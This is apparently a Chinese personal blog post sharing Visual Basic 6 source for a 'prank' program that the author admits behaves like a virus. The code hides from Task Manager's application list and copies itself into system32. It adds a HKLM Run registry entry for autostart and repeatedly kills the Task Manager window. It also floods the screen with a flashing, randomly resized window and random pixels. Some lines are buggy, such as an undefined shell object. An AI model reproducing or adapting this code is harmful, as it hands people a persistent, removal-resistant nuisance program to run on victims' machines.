让你鼠标变蜗牛速度,践踏屏幕,开机自启动

? 马上就要开学了,一假期想想自己好像也没学到具体的知识,学到了经验,那天看到自己村一个初中的孩子,在桌面有一个vbs脚本玩人的程序,那个我以前在网上也看到过,没什么技术含量,可是曾经我在网上认识一个男的,他现在在从事网络安全维护,知道的挺多,没想到他竟然不知道vbs脚本,还有现在多少大学生不知道的,或许知道嵌入在网页,知道在window宿主里面用麽,那小小的初中生现在就开始学了,以后栋梁之材呐,呵呵,好了不罗索了,今天想在这里发表一个程序,有人叫做病毒,他有病毒的一些属性,但是不是病毒,没破坏性,不过自己编译了以后,自己用的话,如果没装双系统或者不会有U盘启动系统的话,那就不要在自己系统轻易去尝试哦,好了下面开始拿出代码来了~!~!·

先声明API函数~!~ 具体不解释了,想知道的话去VB的MSDN集合自己找去~!

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
'下面是在窗体装入的时候要发生的事件,要发生两个事件哦~!
Private Sub Form_Load()
App.TaskVisible = False    '这里是在任务管理器中的应用程序不显示
App.Title = wangchi        '这里是标题
'
Dim SourceFile, DestinationFile            '这里是复制函数哦~!下面就开始了
SourceFile = "C:\Documents and Settings\Administrator\桌面\wangchi.exe"   ' 这里是指定源文件名。
DestinationFile = "C:\WINDOWS\system32\wangchi.exe"   '这里是 指定目的文件名。
FileCopy SourceFile, DestinationFile   ' 将源文件的内容复制到目的文件中
'
'Set my = CreateObject("WScript.Shell")        '这里是加入注册表启动项的过程, 前面是注册表键值,后面是路径了!
my.regWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wangchi", dirwin & "C:\WINDOWS\system32\wangchi.exe", "REG_SZ"
End Sub
'下面是在时间控件里需要做的,时间控件的interval 这里时间间隔自己随便设置,这里设置的时间就是这个速度返回操作~!
Private Sub Timer1_Timer()
hw = FindWindow(vbNullString, "Windows 任务管理器")
SendMessage hw, &H10, 0, 0
SendKeys "%"
Me.SetFocus
'
'下面的是让窗体不断 变颜色
If Form1.BackColor = vbRed Then
Form1.BackColor = vbGreen
Else
Form1.BackColor = vbRed
End If
'
'下面是让窗体在桌面上随机产生位置~!~!
Form1.Width = Rnd * 10000
Form1.Top = Rnd * 10000
Form1.Left = Rnd * 10000
Form1.Height = Rnd * 10000
For i = 1 To 1000
Randomize
PSet (ScaleWidth * Rnd, ScaleHeight * Rnd), QBColor(Rnd * 15)
Next i
End Sub
'这个代码就分析到这里了,提前声明,不理解的人不要乱用,出问题了不负责。  只供编程爱好者欣赏~!~

发表评论

电子邮件地址不会被公开。 必填项已用*标注

This site uses Akismet to reduce spam. Learn how your comment data is processed.